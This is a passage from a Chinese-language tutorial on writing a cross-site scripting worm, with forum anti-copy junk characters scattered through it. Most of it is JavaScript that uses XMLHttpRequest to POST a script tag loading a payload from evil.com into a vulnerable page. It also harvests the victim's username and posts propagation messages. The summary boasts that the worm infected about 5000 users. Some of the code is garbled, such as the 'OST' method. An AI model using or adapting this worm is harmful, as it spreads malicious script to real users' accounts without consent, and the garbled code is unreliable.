* V/ u6 h3 }- T" f复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){ //这里我们假设要求那个页面蠕虫的数量要有2只.4 z/ K- y) a" n; |" J, @ n" r1 M3 ?
, {* c) R( |4 w) F4 X5 J) L! tno=resource.search(/my name is/);
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var wd='<script src="http://www.evil.com/bugbug.js"</script>'; //wd是存在XSS漏洞的变量.我们在这里写入JS代码.9 b% u( G7 @, U# r% w8 d
( }) B! d1 h; d: O; ?2 N9 i$ h$ Kvar post="wd="+wd;( i8 D6 r1 P0 J* o2 u F) n c, p/ d/ N
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xmlHttpReq.open("OST","http://www.vul.com/vul.jsp",false); //把感染代码 POST出去.
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! @0 ^ t% }1 }2 k" c9 mxmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");; h. B- X0 h* P0 N
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xmlHttpReq.setRequestHeader("content-length",post.length); 3 @6 v1 v0 ^: C$ m! t$ x
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xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");& Q1 w. H9 W4 {! H$ R7 q+ C
, \' U( S1 c4 u3 t* L. UxmlHttpReq.send(post);! K2 B/ X8 `% V' K3 W& W
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0 ~7 c7 d: T3 G1 A# N4 r; \3 W' q. ^* k复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{
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' m ^. ?9 B3 U# p& Z; Ovar no=resource.search(/my name is/); //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方. `: @" k) N- O5 y$ q0 {' w: s- I$ b
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var namee=resource.substr(no+21,5); //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.: F Y5 m- R- p# S
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var wd="Support!"+namee+"<br>"; //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.
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var post="wd="+wd;, o: A. _9 C/ P& k8 w
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xmlHttpReq.open("OST","http://vul.com/vul.jsp",false);# G" k# Z6 P1 }8 u) I: e
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xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
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xmlHttpReq.setRequestHeader("content-length",post.length);
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xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
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4 E: n, a( O' UxmlHttpReq.send(post); //把传播的信息 POST出去.
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复制代码-----------------------------------------------------总结-------------------------------------------------------------------) W& l$ i O& W: i8 Z
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2 z2 R$ ~$ [. {+ J* Q1 N本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
$ \, W2 k7 ]2 H: S; i蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.# K8 g v* _: _3 ~/ h7 g
操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.
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本文引用文档资料:4 G1 p2 H! N( F: b
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"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
$ `' Z+ ~" y9 kOther XmlHttpRequest tricks (Amit Klein, January 2003)
/ E. A9 b7 {2 U4 D; Q+ [" ]! ^"Cross Site Tracing" (Jeremiah Grossman, January 2003)
- J8 Z/ w1 Y* l1 L4 w( mhttp://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog4 u' Y8 k$ l( E% u9 d: x- @$ |) b/ B) K
空虚浪子心BLOG http://www.inbreak.net5 L* R3 |1 r4 |4 G
Xeye Team http://xeye.us/
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